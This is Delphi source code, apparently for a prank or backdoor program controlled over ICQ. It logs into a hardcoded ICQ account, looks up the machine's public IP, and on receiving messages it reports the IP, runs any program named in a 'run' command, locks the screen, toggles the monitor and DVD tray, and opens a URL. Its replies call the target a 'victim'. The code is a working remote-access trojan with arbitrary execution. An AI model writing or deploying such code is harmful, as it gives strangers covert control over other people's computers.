unit Unit1;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ICQClient, mmsystem, StdCtrls, sButton, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, ShellApi;
type TForm1 = class(TForm) ICQClient1: TICQClient; sSkinManager1: TsSkinManager; sButton1: TsButton; IdHTTP1: TIdHTTP; procedure FormCreate(Sender: TObject); procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); procedure sButton1Click(Sender: TObject); procedure ICQClient1AuthRequest(Sender: TObject; UIN, Reason: String); private { Private declarations } public { Public declarations } end;
var Form1: TForm1; ip : string; tmpstr:PAnsiChar;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject); begin ICQClient1.UIN:=630253583; ICQClient1.Password:=''; ICQClient1.Login(); if ICQClient1.OnConnectionFailed then begin ip := idHTTP1.Get('http://www.whatismyip.com/automation/n09230945.asp'); end else begin showmessage('Проверте подключен ли интернет'); end; end;
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); begin if msg='offdvd' then begin mciSendString('Set cdaudio door open wait', nil, 0, handle); Icqclient1.SendMessage(StrToInt(UIN),'DVD-ROM открылся.'); end;
if msg='ondvd' then begin mciSendString('Set cdaudio door closed wait', nil, 0, handle); Icqclient1.SendMessage(StrToInt(UIN),'DVD-ROM закрылся.'); end;
if msg='offmonitor' then begin SendMessage(form1.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1); Icqclient1.SendMessage(StrToInt(UIN),'Монитор выключился.'); end;
if msg='onmonitor' then begin SendMessage(form1.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); Icqclient1.SendMessage(StrToInt(UIN),'Монитор включился.'); end;
if msg='ip' then begin Icqclient1.SendMessage(StrToInt(UIN),ip); end;
if copy(msg,1,4)='run ' then begin delete(msg,1,4); tmpStr:=StrNew(PAnsiChar(msg)); ShellExecute(Handle, 'open', tmpStr, nil, nil, SW_SHOWNORMAL) end;
if msg='compoff' then
begin keybd_event(VK_LWIN, 0, 0, 0); keybd_event(ord('L'), 0, 0, 0); keybd_event(ord('L'), 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0); icqclient1.SendMessage(strtoint(UIN), 'Компьютер выключается'); end;
if copy(msg,1,4)='msg ' then begin delete(msg,1,4); ShowMessage(msg); end; if msg='url' then begin ShellExecute(Handle, 'open', 'http://wowomg.com/rofl/',nil,nil, SW_SHOWNORMAL) ; Icqclient1.SendMessage(StrToInt(UIN),'Жертва в ауте. Выносите. You spin me right round, baby, right round...'); end;
end;
procedure TForm1.sButton1Click(Sender: TObject); begin showmessage('Я за тобой наблюдаю!!!'); end;
procedure TForm1.ICQClient1AuthRequest(Sender: TObject; UIN, Reason: String); begin ICQClient1.SendAuthResponse(strToInt(Uin),True,'hi'); end;
end.
|